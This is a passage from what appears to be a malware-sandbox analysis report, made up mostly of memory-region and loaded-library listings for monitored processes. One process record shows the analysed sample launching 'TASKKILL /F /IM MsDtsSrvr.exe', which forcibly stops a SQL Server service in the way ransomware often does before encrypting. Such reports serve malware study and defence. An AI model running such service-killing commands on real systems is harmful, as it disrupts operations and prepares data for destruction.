"C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3144 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3145 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3146 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3147 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3148 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3149 start_va = 0x70000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3150 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3151 start_va = 0xe10000 end_va = 0xe25fff entry_point = 0xe15c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 3152 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3153 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3154 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3155 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3156 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3157 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3158 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3159 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3160 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3161 start_va = 0x390000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 3162 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3163 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3164 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3165 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 3166 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 3167 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3168 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3169 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3170 start_va = 0x5b0000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 3171 start_va = 0x890000 end_va = 0x89ffff entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3172 start_va = 0x6a4f0000 end_va = 0x6a5dafff entry_point = 0x6a4f13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 3173 start_va = 0x6a8a0000 end_va = 0x6a8d4fff entry_point = 0x6a8a13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 3174 start_va = 0x6a8e0000 end_va = 0x6a8eefff entry_point = 0x6a8e12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3175 start_va = 0x6a8f0000 end_va = 0x6a8f8fff entry_point = 0x6a8f15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3176 start_va = 0x6a900000 end_va = 0x6a910fff entry_point = 0x6a901300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3177 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3178 start_va = 0x73e30000 end_va = 0x73e3cfff entry_point = 0x73e311e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 3179 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3180 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3181 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3182 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3183 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3184 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3185 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3186 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3187 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3188 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3189 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3190 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3191 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3192 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3193 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3194 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3195 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3196 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3197 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3198 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3199 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3200 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3201 start_va = 0x1f0000 end_va = 0x377fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 3202 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3203 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3204 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3205 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 3206 start_va = 0x130000 end_va = 0x133fff entry_point = 0x130000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 3207 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3208 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3209 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 3210 start_va = 0x410000 end_va = 0x590fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 3211 start_va = 0x6b0000 end_va = 0x76ffff entry_point = 0x6b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3212 start_va = 0x7e0000 end_va = 0x81ffff entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 3213 start_va = 0x980000 end_va = 0x9bffff entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 3214 start_va = 0x9d0000 end_va = 0xa0ffff entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 3215 start_va = 0xe30000 end_va = 0x222ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e30000" filename = "" Region: id = 3216 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3217 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3218 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 3219 start_va = 0x6a830000 end_va = 0x6a88bfff entry_point = 0x6a852b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 3220 start_va = 0x6a890000 end_va = 0x6a899fff entry_point = 0x6a89149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 3221 start_va = 0xa10000 end_va = 0xb0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 3222 start_va = 0xb90000 end_va = 0xbcffff entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 3223 start_va = 0x6a800000 end_va = 0x6a828fff entry_point = 0x6a806b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 3224 start_va = 0xb20000 end_va = 0xb5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 3225 start_va = 0xbd0000 end_va = 0xc0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 3226 start_va = 0x2230000 end_va = 0x24fefff entry_point = 0x2230000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3227 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3228 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3229 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3230 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3231 start_va = 0x8a0000 end_va = 0x8dffff entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3232 start_va = 0xc60000 end_va = 0xc9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 3233 start_va = 0xd10000 end_va = 0xd4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 3234 start_va = 0xd80000 end_va = 0xdbffff entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 3235 start_va = 0x6a7f0000 end_va = 0x6a7fefff entry_point = 0x6a7f21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 3236 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3237 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3238 start_va = 0x6a450000 end_va = 0x6a4e5fff entry_point = 0x6a46f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 3239 start_va = 0x6a7d0000 end_va = 0x6a7e7fff entry_point = 0x6a7d1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 201 os_tid = 0x9b4 Thread: id = 202 os_tid = 0x9b8 Thread: id = 203 os_tid = 0x9bc Thread: id = 204 os_tid = 0x298 Thread: id = 205 os_tid = 0x9f4 Process: id = "25" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x59238000" os_pid = "0xa0c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3240 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3241 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3242 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3243 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3244 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3245 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3246 start_va = 0x160000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3247 start_va = 0xc30000 end_va = 0xc45fff entry_point = 0xc35c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 3248 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3249 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3250 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3251 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3252 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3253 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3254 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3255 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3256 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3257 start_va = 0x280000 end_va = 0x2fffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 3258 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3259 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3260 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3261 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 3262 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 3263 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3264 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3265 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3266 start_va = 0x3e0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 3267 start_va = 0x6a0000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 3268 start_va = 0x6a7b0000 end_va = 0x6a89afff entry_point = 0x6a7b13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 3269 start_va = 0x6a8a0000 end_va = 0x6a8aefff entry_point = 0x6a8a12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3270 start_va = 0x6a8b0000 end_va = 0x6a8c0fff entry_point = 0x6a8b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3271 start_va = 0x6a8d0000 end_va = 0x6a8dcfff entry_point = 0x6a8d11e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 3272 start_va = 0x6a8e0000 end_va = 0x6a914fff entry_point = 0x6a8e13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 3273 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3274 start_va = 0x73e30000 end_va = 0x73e38fff entry_point = 0x73e315a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3275 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3276 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3277 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3278 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3279 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3280 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3281 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3282 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3283 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3284 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3285 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3286 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3287 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3288 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename 